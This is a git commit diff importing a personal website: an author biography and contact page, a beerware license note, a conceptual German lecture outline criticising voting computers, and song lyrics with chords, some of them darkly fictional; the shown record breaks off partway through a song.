summaryrefslogtreecommitdiff
path: root/stories
diff options
context:
space:
mode:
authorerdgeist <erdgeist@bauklotz.local>2015-08-16 16:38:25 +0200
committererdgeist <erdgeist@bauklotz.local>2015-08-16 16:38:25 +0200
commit23f0e1561767dd8a396188e317bae5920d171ea8 (patch)
treea67f44e39ad8a45e42d60634488a65c37f3ad432 /stories
Initial import of my nikola website
Diffstat (limited to 'stories')
-rw-r--r--stories/about.rst35
-rw-r--r--stories/beerware.md8
-rw-r--r--stories/index.rst61
-rw-r--r--stories/lectures/Wahlcomputer.rst95
-rw-r--r--stories/music/Alte_Zeiten.rst62
-rwxr-xr-xstories/music/Fine.rst41
-rw-r--r--stories/music/Frau_Krüger.rst53
-rw-r--r--stories/music/From_Me_To_You.rst37
-rw-r--r--stories/music/Hero.rst64
-rw-r--r--stories/music/Hoerig.rst42
-rw-r--r--stories/music/No_Angel_Yet.rst57
-rw-r--r--stories/music/Pimmelterrorist.rst54
-rw-r--r--stories/music/Riding_Monkey.rst23
-rw-r--r--stories/music/Schnee_im_April.rst48
-rw-r--r--stories/music/Sven.rst38
-rw-r--r--stories/music/Tonite.rst43
-rw-r--r--stories/music/Warme_Gedanken.rst68
-rw-r--r--stories/music/Wiese.rst47
-rw-r--r--stories/music/index.rst41
-rw-r--r--stories/music/transpose.rst115
-rw-r--r--stories/photos/index.rst9
-rw-r--r--stories/poetry/Datenschleuder-BoesePost13
-rw-r--r--stories/poetry/Ein_Abend.md21
-rw-r--r--stories/poetry/Grußkarte.md9
-rw-r--r--stories/poetry/MeinVortrag/01.html8
-rw-r--r--stories/poetry/MeinVortrag/02.html6
-rw-r--r--stories/poetry/MeinVortrag/03.html11
-rw-r--r--stories/poetry/MeinVortrag/04.html12
-rw-r--r--stories/poetry/MeinVortrag/05.html27
-rw-r--r--stories/poetry/MeinVortrag/06.html8
-rw-r--r--stories/poetry/MeinVortrag/07.html14
-rw-r--r--stories/poetry/MeinVortrag/08.html16
-rw-r--r--stories/poetry/MeinVortrag/09.html13
-rw-r--r--stories/poetry/MeinVortrag/10.html10
-rw-r--r--stories/poetry/MeinVortrag/11.html18
-rw-r--r--stories/poetry/MeinVortrag/12.html17
-rw-r--r--stories/poetry/MeinVortrag/13.html24
-rw-r--r--stories/poetry/MeinVortrag/14.html25
-rw-r--r--stories/poetry/MeinVortrag/15.html23
-rw-r--r--stories/poetry/MeinVortrag/16.html25
-rw-r--r--stories/poetry/MeinVortrag/17.html26
-rw-r--r--stories/poetry/MeinVortrag/18.html20
-rw-r--r--stories/poetry/MeinVortrag/19.html14
-rw-r--r--stories/poetry/MeinVortrag/Vortrag-FormatStrings367
-rw-r--r--stories/poetry/MeinVortrag/templ.html7
-rw-r--r--stories/poetry/SeinSohn.md17
-rw-r--r--stories/poetry/Unreal.md27
-rw-r--r--stories/poetry/aussage1.md7
-rw-r--r--stories/poetry/aussage2.md7
-rw-r--r--stories/poetry/aussage3.md7
-rw-r--r--stories/poetry/baecker.md32
-rw-r--r--stories/poetry/bsd.vs.linux.md11
-rw-r--r--stories/poetry/domizil.md19
-rw-r--r--stories/poetry/dreiviertel33
-rw-r--r--stories/poetry/elokpaula.md17
-rw-r--r--stories/poetry/fdp.md60
-rw-r--r--stories/poetry/feindkontakt.md47
-rw-r--r--stories/poetry/freiheit.md21
-rw-r--r--stories/poetry/fruehlingsgewitter.md30
-rw-r--r--stories/poetry/geaendert.md18
-rw-r--r--stories/poetry/gefangen.md17
-rw-r--r--stories/poetry/gefunden.md19
-rw-r--r--stories/poetry/grau.md26
-rw-r--r--stories/poetry/grossejungs.md23
-rw-r--r--stories/poetry/header4
-rw-r--r--stories/poetry/im_sog.md20
-rw-r--r--stories/poetry/index.rst13
-rw-r--r--stories/poetry/kuenstler30
-rw-r--r--stories/poetry/lovers.md15
-rw-r--r--stories/poetry/madkarin.md35
-rw-r--r--stories/poetry/milchstrasse.md17
-rw-r--r--stories/poetry/missverstaendnis.md27
-rw-r--r--stories/poetry/mistral.md16
-rw-r--r--stories/poetry/mondgoettin.md26
-rw-r--r--stories/poetry/nachts.md20
-rw-r--r--stories/poetry/pamphlet8
-rw-r--r--stories/poetry/perfektion.md32
-rw-r--r--stories/poetry/schneebilder.md33
-rw-r--r--stories/poetry/seelenkratzer.md17
-rw-r--r--stories/poetry/seemann.md71
-rw-r--r--stories/poetry/traeumerei.md40
-rw-r--r--stories/poetry/tscheljabinsk.md15
-rw-r--r--stories/poetry/urlaubsgruesse.md14
-rw-r--r--stories/poetry/vchat.md35
-rw-r--r--stories/poetry/verloren.md26
-rw-r--r--stories/poetry/wasted.md20
-rw-r--r--stories/poetry/wille.md28
-rw-r--r--stories/poetry/wortzahl84.md35
-rw-r--r--stories/poetry/zeitlos.md18
-rw-r--r--stories/poetry/zynismus.md36
-rw-r--r--stories/projects/Telefonbuch.rst7
-rw-r--r--stories/projects/anonbox.rst7
-rw-r--r--stories/projects/briefkasten.rst6
-rw-r--r--stories/projects/el.rst72
-rw-r--r--stories/projects/elektropost.rst197
-rw-r--r--stories/projects/etherpad.rst237
-rwxr-xr-xstories/projects/ezjail.conf.5229
-rw-r--r--stories/projects/ezjail.rst412
-rw-r--r--stories/projects/ezjail_philosophy.rst50
-rw-r--r--stories/projects/jaildaemon.rst77
-rw-r--r--stories/projects/minimunin.rst75
-rw-r--r--stories/projects/opentracker.rst136
-rw-r--r--stories/projects/timestretch.rst63
-rw-r--r--stories/projects/vchat-client.rst267
104 files changed, 4699 insertions, 0 deletions
diff --git a/stories/about.rst b/stories/about.rst
new file mode 100644
index 0000000..ea24aa4
--- /dev/null
+++ b/stories/about.rst
@@ -0,0 +1,35 @@
1.. date: 1970/01/01 01:00
2.. title: about erdgeist
3.. slug: about/index
4.. hidetitle: yes
5
6.. class:: col-md-6 col-sm-12 col-xs-12 pull-right
7
8Kurzvita
9========
10
11Dirk Engling alias erdgeist, Baujahr 1978, arbeitet seit zwanzig Jahren im Bereich der elektronischen Problemlösung an Software für Mobiltelefone, hoch-skalierende Netzwerkdienste und kryptographische Systeme, seit über zehn Jahren selbständig.
12
13In seiner Freizeit arbeitet er als ehrenamtlicher Sprecher des Chaos Computer Club und an diversen Projekten als Autor freier Software.
14
15.. class:: col-md-6 col-sm-12 col-xs-12 pull-left
16
17about erdgeist
18==============
19
20Dirk Engling aka erdgeist, born in 1978, is a freelance software engineer solving all kinds of electronic problems on mobile phones, highly scalable network services and cryptography software.
21
22In his spare time he volunteers as spokes person for the German hacker's association Chaos Computer Club and is author of and contributor to several open source projects.
23
24.. class:: col-md-10 col-sm-9 col-xs-12
25
26Press photos
27============
28
29.. thumbnail:: Dirk_Engling_Press_3.jpg
30.. thumbnail:: Dirk_Engling_Press_4.jpg
31.. thumbnail:: Dirk_Engling_Press_5.jpg
32.. thumbnail:: Dirk_Engling_Press_2.jpg
33.. thumbnail:: Dirk_Engling_Press_6.jpg
34.. thumbnail:: Dirk_Engling_Press_1.jpg
35
diff --git a/stories/beerware.md b/stories/beerware.md
new file mode 100644
index 0000000..f53cd67
--- /dev/null
+++ b/stories/beerware.md
@@ -0,0 +1,8 @@
1<!--
2title: beerware
3slug: /beerware.txt
4-->
5
6The beerware license is very open, close to public domain, but insists on honoring the original author by just not claiming that the code is yours. Instead assume that someone writing Open Source Software in the domain you’re obviously interested in would be a nice match for having a beer with.
7
8So, just keep the name and contact details intact and if you ever meet the author in person, just have an appropriate brand of sparkling beverage choice together. The conversation will be worth the time for both of you.
diff --git a/stories/index.rst b/stories/index.rst
new file mode 100644
index 0000000..feb1338
--- /dev/null
+++ b/stories/index.rst
@@ -0,0 +1,61 @@
1.. link:
2.. description: erdgeist is a Berlin based freelance and open source developer and political activist.
3.. tags:
4.. date: 1970/01/01 01:00:00
5.. title: main
6.. slug: index
7.. hidetitle: yes
8
9.. class:: col-md-12 pull-left
10
11erdgeist is a Berlin based freelance and open source developer and political activist. Feel free to stroll around in the public parts of his brain.
12
13.. class:: col-md-6 pull-right
14
15Contact
16=======
17
18Write an email to erdgeist@erdgeist.org preferredly PGP encrypted, `the key </key.asc>`_, fingerprint: 68D0 5298 6E09 BF62 94B8 4DD0 B8DD 7017 *2A6C 30D3*. Reach me via Jabber at `<xmpp:erdgeist@erdgeist.org>`_, where my OTR fingerprint is 7A4BC16B 479D4D10 EAC30B3B B52FD269 ADF818E3.
19
20Follow `@erdgeist <https://twitter.com/erdgeist>`_ on Twitter. Listen to the `OHM podcast <http://monoxyd.de/category/ohm>`_ with monoxyd and CCC's `monthly radio show Chaosradio <http://chaosradio.ccc.de/>`_. Look out for contributions to `Die Datenschleuder <http://ds.ccc.de/>`_ and `www.ccc.de <http://www.ccc.de/>`_, sporadically also on `Frühstücksblog <http://morgen.monoxyd.de>`_. Get `the book 1984.exe <http://www.amazon.de/1984-exe-Gesellschaftliche-politische-juristische-Überwachungstechnologien/dp/3899427661>`_.
21
22.. class:: col-md-6 pull-left
23
24Software projects
25=================
26
27.. post-list::
28 :all:
29 :tags: project
30 :template: list_projects.tmpl
31 :id: projects
32 :sort: prio
33 :reverse:
34
35
36Unless state otherwise, the software is released under `beerware license </beerware.html>`_. Some project's documentation is not yet migrated. You can also browse around my `gitweb </gitweb>`_.
37
38.. class:: col-md-6 col-sm-12 col-xs-12 pull-right
39
40Blog
41====
42
43.. post-list::
44 :stop: 7
45 :template: list_blogposts.tmpl
46
47
48.. class:: col-md-6 pull-left
49
50Playground
51==========
52
53See the `lecture about opentracker <http://media.ccc.de/browse/congress/2007/24c3-2355-de-trecker_fahrn.html#video>`_ on 24C3 (`slides <lectures/TrackerFahrn.pdf>`_), `Wahlcomputer in Erlangen <lectures/Wahlcomputer>`_, Format String Exploits, see the interviews and TV show contributions (todo).
54
55Skypixels are helium balloons lit by independent LED boards remote controlled by a NFR2401 controller.
56
57GodMachine was an installation in the Dresden Museum of hygiene, allowing visitors to control the weather by gestures.
58
59Laserharfe is a music instrument built together with friends. It converts hands moving in laser beams to MIDI signals and works on off the shelf electronics.
60
61Some rather personal content, `songs I wrote or recorded <music>`_, some in my former band, Pumpanickle. `Poetry I wrote </poetry>`_. Recently into selecting or writing intros for podcasts `alternativlos <https://alternativlos.org/>`_, turing galaxis, `Frühstücksblog podcast <http://morgen.monoxyd.de/category/podcast/>`_, `Neusprech <http://neusprech.org/kategorie/neusprechfunk/>`_, `Fnord News Show <http://media.ccc.de/browse/congress/2014/31c3_-_6109_-_de_-_saal_1_-_201412290015_-_fnord_news_show_-_frank_-_fefe.html#video>`_ and `OHM podcast <http://monoxyd.de/category/ohm>`_.
diff --git a/stories/lectures/Wahlcomputer.rst b/stories/lectures/Wahlcomputer.rst
new file mode 100644
index 0000000..b82a4f1
--- /dev/null
+++ b/stories/lectures/Wahlcomputer.rst
@@ -0,0 +1,95 @@
1.. title: Vortrag Wahlcomputer
2.. date: 2007/07/13 20:00
3.. slug: Wahlcomputer/index
4.. tags: lectures
5
61 Intro
7=======
8
9Hier sind die `Slides <../Wahlcomputer_Talk.pdf>`_
10
112 Unsere Motivation, uns dem Problem zu widmen
12==============================================
13
14Geschichte aus dem Wahllokal nach der Wende
15
163 Deren Motivation, Wahlcomputer einzuführen
17============================================
18
19* Kosten, Geschwindigkeit der Auszählung, Komplexere Wahlverfahren, neue Wahloptionen
20* Personalbedarf, Eindeutigkeit, Vereinfachung des Wahlablaufs, Wahlbeteiligung
21* direkte Demokratie
22
234 Grundsätzliche Probleme von Wahlcomputern
24===========================================
25* Menschen haben keine eingebauten Messinstrumente
26* von aussen ist ein manipulierter Wahlcomputer nicht zu erkennen
27* Delegation des Vertrauens von den eigenen Augen in ein Messinstrument
28* Komplexere Wahlverfahren nicht immer zugunsten des Wählers
29* Manipulation Eingabe/Ausgabegeräte (EC-Kartenautomat)
30* Hohe Dynamik, moderne Computer NOCH mehr Probleme
31
325 Realistische Angriffsszenarien
33================================
34
35* Motivation ist hoch: Gemeinden verfügen über mehrere Millionen EUR Mittel
36* Bundesregierungen deutlich mehr
37* Persoenliche Schicksale (Guus te Meerman), Firmen, die bestimmte Politiker unterstützen
38* Zugriff gerade durch Innentäter, Vergleich mit Wahlkampfetat
39* knapper Wahlausgang, wenige Computer reichen
40
416 Spezielle Betrachtung der Impementierung von Nedap
42====================================================
43
44* Gekauft, aufgemacht reingeguckt, disassembliert
45* Bewusstsein, dass man auch ohne Kenntnis von Quellcode reverseengineeren kann, gab es nicht
46* Geheimhalten des Quellcodes erschwerte also nur die eine unabhaengige Ueberpruefung, keinen Angriff
47* Ausleihe ins Ausland
48* PTB prüft in "Küngelrunde" die Wahlcomputer
49
507 Spezielle Herausforderungen durch Nedap
51=========================================
52
53* Dedicated special purpose computer, I’d like to see chess running on this one. - “Okay.”
54* Tom Kerrigan's Simple Chess Program
55
569 Unsere Komplettübernahme
57==========================
58
59* Unsere Kenntnisse über die Hardware waren am Ende besser als die des Herstellers selber
60* Problemlos wurde das vorhandene Wahlprogramm manipuliert
61* Austausch des programmspeichers bei einem geschlossenen Wahlcomputer dauert weniger als eine Minute
62* GEHEIM/SERVICE - Hintertür
63
6410 Probleme neben der Manipulationsmöglichkeit
65==============================================
66
67* Abstrahlung - Wahlgeheimnis
68* Übertragung vom Stimmenspeicher
69* vertrauensvoll naive Grundhaltung ggü dem Wahlcomputer
70* Wahlcomputer Verlangsamen in bestimmten Wahlkreisen
71* Abhängigkeit vom Wohlwollen des Herstellers
72
7311 Die Versuche, das System (nachträglich) abzusichern
74======================================================
75
76* PTB-Sonderüberprüfung
77* Testwahlen
78* Prüfsummen
79* Schlüssel (Briefkasten ist sicherer)
80* Siegel
81
8212 Warum diese Versuche zum Scheitern verurteilt sind
83=====================================================
84
85* Preisdruck auch beim Hersteller
86* Gesicherte Umgebungen im Alltag nicht gegeben
87* Gegen Innentäter helfen die Massnahmen nicht
88
8913 Abgang
90=========
91
92* Dem Wähler ist eine effektive Kontrolle und Verifikation der Wahlen nicht mehr möglich
93* In der DDR wären die Wahlfälschungen mit Wahlcomputern nicht aufgefallen
94* Die OSZE fordert für Wahlen in instabilen System Einsatzverbot
95* Immer weniger Menschen können das System begutachten
diff --git a/stories/music/Alte_Zeiten.rst b/stories/music/Alte_Zeiten.rst
new file mode 100644
index 0000000..4e02daa
--- /dev/null
+++ b/stories/music/Alte_Zeiten.rst
@@ -0,0 +1,62 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1998/08/03 19:10:08
5.. title: Alte Zeiten
6.. slug: ../arts/music/Alte_Zeiten
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Alte_Zeiten.mp3" type="audio/mpeg"><a href="Alte_Zeiten.mp3">Alte_Zeiten.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15============================================ ====
16Denkst du nicht gern zurück an alte Zeiten aGd
17Wo wir jeden Tag zusammngesessen ham EFC
18Mit total kaputten Leuten aGd
19Die wir doch lieb gewonnen ham gFC
20..
21Umsturz, Aufsturz, Absturz - Leute aGd
22War das nicht eine geile Zeit? EFC
23Doch wo befinden wir uns heute aGd
24Wir sind jetzt tot - es tut mir leid gFC
25..
26*Das war dann wohl, auf wiedersehen* CFCF
27*Ich glaub, ich buddel mich hier ein* DCG
28*Muß meinen Weg alleine gehn* EAEA
29*Sonst geht ihr mit mir ein* Fa
30..
31Irgendwas hat uns gefressen aGd
32Und verschluckt mit Haut und Haaren EFC
33Wie könnten wir denn sonst vergessen aGd
34Wie jung wir einmal waren gFC
35..
36Denn unsre alten Bräuche aGd
37Kommen uns jetzt kindisch vor EFC
38Wir kriegen dicke-, Waschbrett-, Babybäuche aGd
39Und die Zeit schreit uns ins Ohr gFC
40..
41*Das war dann wohl, auf wiedersehen* CFCF
42*Ich glaub, ich buddel mich hier ein* DCG
43*Muß meinen Weg alleine gehn* EAEA
44*Sonst geht ihr mit mir ein* Fa
45..
46Ich denk so oft ich bin allein aGd
47Red mir ein daß Einsamkeit mich heilt EFC
48Ich weiß auch du fühlst dich oft klein aGd
49Wir suchen den der unsre Armut teilt EFC
50..
51Schaust auch du verzweifelt in das Morgen aGd
52Suchst einen Grund nicht aufzugeben EFC
53Mußt dir die Impressionen borgen aGd
54Aus deinem längst verlornen Leben gFC
55..
56*Ach was auch du haßt deine Welt* CFCF
57*Ich denk ich grab mich wieder aus* DCG
58*Jedoch nicht, weil's mir gefällt* EAEA
59*Dies Ende säh sonst Scheiße aus!* Fa
60============================================ ====
61
62(`raw lyrics <AlteZeiten.txt>`_)
diff --git a/stories/music/Fine.rst b/stories/music/Fine.rst
new file mode 100755
index 0000000..da3bd2d
--- /dev/null
+++ b/stories/music/Fine.rst
@@ -0,0 +1,41 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2004/08/03 19:10:08
5.. title: Fine
6.. slug: ../arts/music/Fine
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Fine.mp3" type="audio/mpeg"><a href="Fine.mp3">Fine.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15============================================================ ===========
16Was brauche ich zum traurig sein, als nur die Zeit, g G# g F
17die mich erinnern macht an Einsamkeit g G# g B
18..
19Was will die Zeit von mir als nur zurueck, g G# g F
20was sie mir einst geliehn, g G#
21ich gehe mit ihr, Stueck um Stueck B F# F
22..
23*Ich stehe staunend nur vor den Truemmern meines Gluecks* B G# F# F
24*Und ich traeume nur, ich wuerd mich treffen hinterruecks* B G# F# F
25*ich glaub mir nicht, bin nicht verlassen, nur allein,* B G# F# F
26*und ich denke: dieses Leben wird niemals mein.* B g G# F# F
27..
28Du siehst mein Glas hier vor dir stehn, mehr als halb leer, g G# g F
29die letzte Runde ist schon lange her. g G# g B
30..
31Du zaehlst die Ringe nicht, denn was gefaellt g G# g F
32liegt eh zu Fuessen dir g G#
33und deiner gottverlassnen Welt B F# F
34..
35*Ich steh verwundert nur vor den Ruinen deines Spiels* B G# F# F
36*Und ich hoffe noch, dass du triffst, wohin du zielst* B G# F# F
37*ich glaub dir nicht. Du bist gelassen und gemein.* B G# F# F
38*und ich schwoere: dieses Leben wird niemals dein* G g G# F# F
39============================================================ ===========
40
41(`raw lyrics <Fine.txt>`_)
diff --git a/stories/music/Frau_Krüger.rst b/stories/music/Frau_Krüger.rst
new file mode 100644
index 0000000..5057aca
--- /dev/null
+++ b/stories/music/Frau_Krüger.rst
@@ -0,0 +1,53 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1997/08/03 19:10:08
5.. title: Frau Krüger
6.. slug: ../arts/music/Frau-Krueger
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="FrauKrüger.mp3" type="audio/mpeg"><a href="FrauKrüger.mp3">FrauKrüger.mp3</a></audio>`
12
13| Er war gerade zwölf Jahre alt
14| und spielte mit Freunden im Garten.
15| Da kam die alte Frau Krüger heim,
16| sie hatte sehr schwer zu tragen.
17|
18| Um seinen Freunden Mut zu zeigen,
19| folgte er der alten Krüger ins Haus
20| die Tür stand ja offen, und sie lag nackt,
21| wie sie gestorben war, in der Wanne.
22|
23| Er erzählte keinem von dem, was er sah,
24| und schlich sich spätabends aus dem Haus.
25|
26| *Bist du einmal tot, hast du noch lange nicht Ruh*
27| *Überleg dir genau ob stirbst*
28| *Denn liegst du erstmal auf dem Rücken*
29| *.....................................*
30|
31| Über Zwanzig Jahre später
32| ist er der Dorfpolizist
33| und sieht den Pathologen öfter
34| als seine eigene Frau
35|
36| Wasserleichen untersucht er selbst,
37| Erzählt den Kollegen, er sucht nach Beweisen
38|
39| *Ref.*
40|
41| Er hat stets vielmehr Fleisch im Haus,
42| als seine Frau einkauft
43| Und seine neue Kettensäge
44| ist noch nicht eingeweiht
45|
46| Nadia Krüger ist grad 12 geworden
47| feiert mit Freunden im Garten
48| Beim verstecke Spielen läuft sie in sein Haus
49| Keiner hat sie dort gefunden
50|
51| *Ref.*
52|
53| Fine
diff --git a/stories/music/From_Me_To_You.rst b/stories/music/From_Me_To_You.rst
new file mode 100644
index 0000000..d86492c
--- /dev/null
+++ b/stories/music/From_Me_To_You.rst
@@ -0,0 +1,37 @@
1.. link:
2.. description:
3.. tags: pumpanickle
4.. date: 2004/12/03 19:10:08
5.. title: From me to you
6.. slug: ../arts/music/From_Me_To_You
7
8.. role:: raw-html(raw)
9 :format: html
10
11We've proudly made a music video of this song:
12
13:raw-html:`<video controls><source src="From%20Me%20To%20You.mp4" type="audio/mpeg"><a href="From%20Me%20To%20You.mp4">From%20Me%20To%20You.mp4</a></video>`
14
15| I was roaming round your house the other day,
16| Kept on thinking of the things that you might say.
17| And when I stumbled all the stairs up to your room,
18| I was was preparing for my own and special doom, (now listen! ohh)
19|
20| *From me to you, could what I hear and what they say be true*
21| *From me to you, as long as I don't know, I'm blue*
22|
23| So I sneaked up on you and found you on your chair,
24| I looked around and I saw flowers everywhere.
25| The day was closing and you stared into the gloom,
26| there and then I found my own and special doom, (they're saying! ohh)
27|
28| *From me to you, now what I heard and what they said is true*
29| *From me to you, I'm lonely now and I feel blue*
30| *From me to you is everything a want to hide*
31| *From me to you comes everything I want to keep inside*
32|
33| *From me to you, now what I heard and what they said was true*
34| *From me to you, I'm lonely now and I feel blue*
35| *From me to you, what does it mean to you, at all*
36| *From me to you is everything I want you to recall*
37|
diff --git a/stories/music/Hero.rst b/stories/music/Hero.rst
new file mode 100644
index 0000000..c5b9eb1
--- /dev/null
+++ b/stories/music/Hero.rst
@@ -0,0 +1,64 @@
1.. link:
2.. description:
3.. tags: pumpanickle
4.. date: 2002/12/03 19:10:08
5.. title: Hero
6.. slug: ../arts/music/Hero
7
8.. role:: raw-html(raw)
9 :format: html
10
11The song comes in two recordings
12
13:raw-html:`<audio controls><source src="Herov1.mp3" type="audio/mpeg"><a href="Herov1.mp3">Herov1.mp3</a></audio>`
14
15:raw-html:`<audio controls><source src="Herov2.mp3" type="audio/mpeg"><a href="Herov2.mp3">Herov2.mp3</a></audio>`
16
17| Standing right above, watch the battlefield below,
18| thinking back of time that we did spend
19| Together we did walk and together we did stand
20| ready to see the holy land
21|
22| Together we did stand and together we did fight
23| those days we never thought, that our feelings weren't alright,
24| now looking back in vain I never would complain,
25| 'cos I'm your hero now...
26|
27| *I'm your hero of the day, I'm your hero of the day*
28| *maybe you'll be miles away, maybe I lead you astray,*
29| *now I'm your hero of the day, I'm your hero of the day*
30| *praise the lord and sing hoo- right or wrong*
31| *I'd never count the days we passed along.*
32|
33| Waking up to see, that you are back with me,
34| watching the battlefield above.
35| Together we did fight and together we did lose
36| leaving out no other way to chose.
37|
38| Together we did stumble and together we did fall,
39| you figured out we were not better than them all
40| Then I left you behind, have I really been so blind?
41| I'm still your hero, hey...
42|
43| *I'm your hero of the day, I'm your hero of the day*
44| *maybe you'll be miles away, maybe I lead you astray,*
45| *now I'm your hero of the day, I'm your hero of the day*
46| *praise the lord and sing hoo- right or wrong*
47| *I'd never count the days we passed along.*
48|
49| Looking at you now, really makes me thinking wow,
50| you did it, you are one of them.
51| Together you will stand, and together you will fight,
52| the idols, we had way back, then.
53|
54| I know together you will win and together you will kill
55| me, my brothers, my family, my free will
56| But not without a fight, I still believe I'm right.
57| And you're my hero, right!
58|
59| *You're my hero of the day, you're my hero of the day,*
60| *maybe I'll be miles away, maybe you lead me astray,*
61| *well I hate you all the day, now, I hate you all the day*
62| *praise the lord and sing hoo- right or wrong*
63| *I'd never count the days we passed along.*
64
diff --git a/stories/music/Hoerig.rst b/stories/music/Hoerig.rst
new file mode 100644
index 0000000..9594739
--- /dev/null
+++ b/stories/music/Hoerig.rst
@@ -0,0 +1,42 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2000/08/03 19:10:08
5.. title: Hörig
6.. slug: ../arts/music/Hoerig
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Hoerig.mp3" type="audio/mpeg"><a href="Hoerig.mp3">Hoerig.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15=================================================================== =====
16Jeden morgen stehts du auf und gehst durch deine Tür DGdA
17Doch jeden Abend bringt sie dich zurück zu mir DGdA
18Du willst mir nicht entflieh'n und hast du doch mal das Gefühl FEGF
19Dann zeig ich dir, daß du nix bist und spiel mit dir ein Spiel EDG
20..
21Dann stehst du da in deiner neuen Welt aGC
22du vertraust keinem und bist allein dEa
23und alles was für dich jetzt zählt aGC
24Ist wieder für mich da zu sein dEA
25..
26Immer wieder frag ich dich, was du denn von mir willst DGdA
27Und ob du dich nicht doch woanders besser fühlst DGdA
28Ich komm nicht weg von hier, ich muß hier einfach sein FEGF
29wenn du dich trennst, dann sterben wir, das redest du uns ein EDG
30..
31Dann stehst du da in deiner neuen Welt aGC
32du vertraust keinem und bist allein dEa
33und alles was für dich jetzt zählt aGC
34Ist wieder für mich da zu sein dEA
35..
36Immer wieder wird dir klar, daß sich nichts ändern wird DGdA
37und dass der Stern, dem du hier folgst, dich in den Abgrund fuehrt DGdA
38Ich werd' nun besser geh'n, entscheide mich fuer dich FEGF
39..
40\.. was wirklich besser fuer dich ist, das findet sich
41=================================================================== =====
42
diff --git a/stories/music/No_Angel_Yet.rst b/stories/music/No_Angel_Yet.rst
new file mode 100644
index 0000000..af65891
--- /dev/null
+++ b/stories/music/No_Angel_Yet.rst
@@ -0,0 +1,57 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2002/08/03 19:10:08
5.. title: No Angel Yet
6.. slug: ../arts/music/No_Angel_Yet
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="No%20Angel%20Yet.mp3" type="audio/mpeg"><a href="No%20Angel%20Yet.mp3">No%20Angel%20Yet.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15======================================================= ====
16It was a cold winter day, aGE
17I felt happy, 'til I found you. FGC
18You didn't listen to what the people say, dGEa
19you said: winning is what I have to do. FGa
20..
21So you took your courage and your strength aGE
22and you went up the hill, FGC
23looking down on the valley, on it's full length dGEa
24and your feet were standing still. FGa
25..
26Cold and tired, how you were, Ce
27but still laughing 'bout how far you did get, FG
28you were lonely standing there, dG
29praying: Please, no angel, yet! FGa
30..
31And you kept going, aGE
32you were almost there, FGC
33but then it started snowing, dGEa
34and you didn't know, where you were. FGa
35..
36You fell down, in the snow, aGE
37your joints were numb with cold, FGC
38and you weren't able to go, dGEa
39just like the people told. FGa
40..
41You cried out loudly, Ce
42becoming so wet, FG
43you cried out loudly: dG
44Please, no angel, yet! FGa
45..
46But your prayer wasn't heard, aGE
47there he came, your friend and foe, FGC
48flying wiht you, like a bird, dGEa
49he left your body, and took your soul. FGa
50..
51So there it lied, aGE
52your body, cold, FGC
53and I laid down by its side, dGEa
54Waiting to be hold. FGa
55 FGa
56======================================================= ====
57
diff --git a/stories/music/Pimmelterrorist.rst b/stories/music/Pimmelterrorist.rst
new file mode 100644
index 0000000..d04af94
--- /dev/null
+++ b/stories/music/Pimmelterrorist.rst
@@ -0,0 +1,54 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2003/08/03 19:10:08
5.. title: Pimmelterrorist
6.. slug: ../arts/music/Pimmelterrorist
7
8.. role:: raw-html(raw)
9 :format: html
10
11.. role:: crd
12
13:raw-html:`<audio controls><source src="Pimmelterrorist.mp3" type="audio/mpeg"><a href="Pimmelterrorist.mp3">Pimmelterrorist.mp3</a></audio>`
14
15
16.. class:: lyrics-chords-above
17
18| :crd:`d`\ Ich ging heut nacht die :crd:`a`\ Strasse lang
19| auf :crd:`E`\ einem dunklen :crd:`C`\ Stueck
20| :crd:`F`\ ich schlich mich an nen :crd:`a`\ Typen ran
21| er :crd:`G`\ hat mich nicht ge :crd:`E`\ sehn, was fuer ein :crd:`a`\ Glueck
22|
23| seine :crd:`d`\ Schuhe sahn noch :crd:`a`\ aus wie neu
24| doch die :crd:`E`\ Jacke abge\ :crd:`C`\ tragen
25| :crd:`F`\ und weil ich boes bin :crd:`a`\ hab ich ihn
26| mit meinem :crd:`G`\ uebergrossen :crd:`E`\ Pimmel er\ :crd:`a`\ schlagen
27|
28| *Ich bin der Pimmelterror*\ :crd:`G`\ *ist*
29| *und schlage zu von Zeit zu* :crd:`a`\ *Zeit*
30| *und wenn du nicht wachsam* :crd:`G`\ *bist*
31| *bin ich da, ich verfolg* :crd:`E`\ *dich*
32| *und schlag dich von hinten* :crd:`a`\ *breit*
33
34| Das gab nen Riesenmedienhype
35| die Story ist ja spitze
36| die "Bild" denkt sich nen Name aus
37| und zwanzig Wege, sich vor mir zu schuetzen
38|
39| Die Leute laufen kopflos rum
40| vor Pimmelmaskenlaeden
41| da bekam ich langsam selber Angst,
42| mir auf dem Weg ins Bad zu begegnen.
43|
44| *Ich bin der Pimmelterrorist*
45| *und schlag mit voller Laenge zu*
46| *Es macht mir Spass wenn ihr euch*
47| *fuerchtet, denn mein Moerderpiephahn*
48| *laesst euch keine Ruh!*
49|
50| Und dann kam's so, wie es kommen musst'
51| ich bin nich abgehauen
52| sie schnappten mich im Drospa
53| beim Kondome in Uebergroessen klauen
54
diff --git a/stories/music/Riding_Monkey.rst b/stories/music/Riding_Monkey.rst
new file mode 100644
index 0000000..8bdf50a
--- /dev/null
+++ b/stories/music/Riding_Monkey.rst
@@ -0,0 +1,23 @@
1.. link:
2.. description:
3.. tags: pumpanickle
4.. date: 2005/07/03 19:10:08
5.. title: Riding Monkeys
6.. slug: ../arts/music/Riding_Monkeys
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Riding%20Monkeys.mp3" type="audio/mpeg"><a href="Riding%20Monkeys.mp3">Riding%20Monkeys.mp3</a></audio>`
12
13| We're riding monkeys on a banana hide,
14| what I try to hide in my dreams, wasn't right.
15|
